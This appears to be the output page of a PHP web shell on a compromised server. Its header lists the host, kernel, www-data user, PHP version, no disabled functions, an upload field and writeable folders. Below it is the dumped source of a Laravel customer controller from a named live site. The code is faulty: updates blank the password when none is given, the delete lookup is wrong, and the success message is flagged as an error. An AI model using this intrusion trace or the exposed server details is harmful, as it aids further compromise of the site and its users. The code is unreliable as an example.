KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/account.appointkrypt.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/account.appointkrypt.com/app/Http/Controllers/CustomerController.php
<?php

namespace App\Http\Controllers;

use App\Models\Customer;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use App\Models\Role;
use App\Models\User;
use Illuminate\Support\Facades\Hash;

class CustomerController extends Controller
{
    /**
     * Display a listing of the resource.
     */
    public function index()
    {
        if(Auth::user()->isAbleTo('customer manage'))
        {
            $customers = Customer::where('created_by',creatorId())->get();
            return view('customer.index',compact('customers'));
        }
        else
        {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }

    /**
     * Show the form for creating a new resource.
     */
    public function create(Request $request)
    {
        if(Auth::user()->isAbleTo('customer create'))
        {
            return view('customer.create');
        }
        else
        {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request)
    {
        if(Auth::user()->isAbleTo('customer create'))
        {
            $validator = \Validator::make(
                $request->all(), [
                    'name' => 'required',
                    'email' => 'required',
                    'gender' => 'required',
                    'dob' => 'required',
                    'mobile_no' => 'required',
                    ]
                );

                if($validator->fails())
                {
                    $messages = $validator->getMessageBag();

                    return redirect()->back()->with('error', $messages->first());
                }
                $roles = Role::where('name','customer')->where('created_by',creatorId())->first();
                if($roles)
                {
                    if ($request->hasFile('image'))
                    {
                        $filenameWithExt = $request->file('image')->getClientOriginalName();
                        $filename        = pathinfo($filenameWithExt, PATHINFO_FILENAME);
                        $extension       = $request->file('image')->getClientOriginalExtension();
                        $fileNameToStore = $filename . '_' . time() . '.' . $extension;

                        $uplaod = upload_file($request,'image',$fileNameToStore,'Customer');
                        if($uplaod['flag'] == 1)
                        {
                            $url = $uplaod['url'];
                        }
                        else
                        {
                            return redirect()->back()->with('error',$uplaod['msg']);
                        }
                    }

                    $user = User::create(
                    [
                        'name' => !empty($request->name) ? $request->name : null,
                        'email' => !empty($request->email) ? $request->email : null,
                        'mobile_no' => !empty($request->mobile_no) ? $request->mobile_no : null,
                        'email_verified_at' => date('Y-m-d h:i:s'),
                        'password' => !empty($request->password) ? Hash::make($request->password) : null,
                        'avatar' => !empty($request->image) ? $url : 'uploads/users-avatar/avatar.png',
                        'type' => $roles->name,
                        'lang' => 'en',
                        'business_id' => getActiveBusiness(),
                        'created_by' => creatorId(),
                    ]);
                    $user->save();
                    $user->addRole($roles);

                    $customer                           = new Customer();
                    $customer->name                     = $request->name;
                    $customer->user_id                  = $user->id;
                    $customer->gender                 = $request->gender;
                    $customer->dob                 = $request->dob;
                    $customer->description              = !empty($request->description) ? $request->description : '';
                    $customer->business_id              = $user->business_id;
                    $customer->created_by              = creatorId();
                    $customer->save();

                    return redirect()->back()->with('success', __('Customer successfully created.'));
                }
                else
                {
                    return redirect()->back()->with('error', __('Please create customer role.'));
                }

        }
        else
        {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }

    /**
     * Display the specified resource.
     */
    public function show(Customer $customer)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(Customer $customer)
    {
        if(Auth::user()->isAbleTo('customer edit'))
        {
            return view('customer.edit',compact('customer'));
        }
        else
        {
           return redirect()->back()->with('error', __('Permission denied.'));
        }
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, Customer $customer)
    {
        if(Auth::user()->isAbleTo('customer edit'))
        {

            $validator = \Validator::make(
                $request->all(), [
                    'name' => 'required',
                    'email' => 'required',
                    'mobile_no' => 'required',
                ]
            );

            if($validator->fails())
            {
                $messages = $validator->getMessageBag();

                return redirect()->back()->with('error', $messages->first());
            }

            $roles = Role::where('name','customer')->where('created_by',creatorId())->first();
            if($roles)
            {
                $customer->name         = $request->name;
                $customer->gender  = $request->gender;
                $customer->dob   = $request->dob;
                $customer->description  = !empty($request->description) ? $request->description : '';
                $customer->save();

                $user = User::where('id',$customer->user_id)->first();
                if($user)
                {
                    $user->name                     = $request->name;
                    $user->email                     = $request->email;
                    $user->mobile_no                     = $request->mobile_no;
                    $user->password                     = !empty($request->password) ? Hash::make($request->password) : null;
                    $user->type = $roles->name;
                    $user->save();
                }

                return redirect()->back()->with('success', __('Customer updated successfully!'));
            }
            else
            {
                return redirect()->back()->with('error', __('Please create customer role.'));
            }

        }
        else
        {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(Customer $customer)
    {
        if(Auth::user()->isAbleTo('customer delete'))
        {
            $user = User::find($customer->user_id)->first();
            if($user)
            {
                $user->delete();
                $customer->delete();
            }
            return redirect()->back()->with('error', __('Customer successfully delete.'));
        }
        else
        {
            return redirect()->back()->with('error', __('Permission denied.'));
        }
    }
}

Anon7 - 2021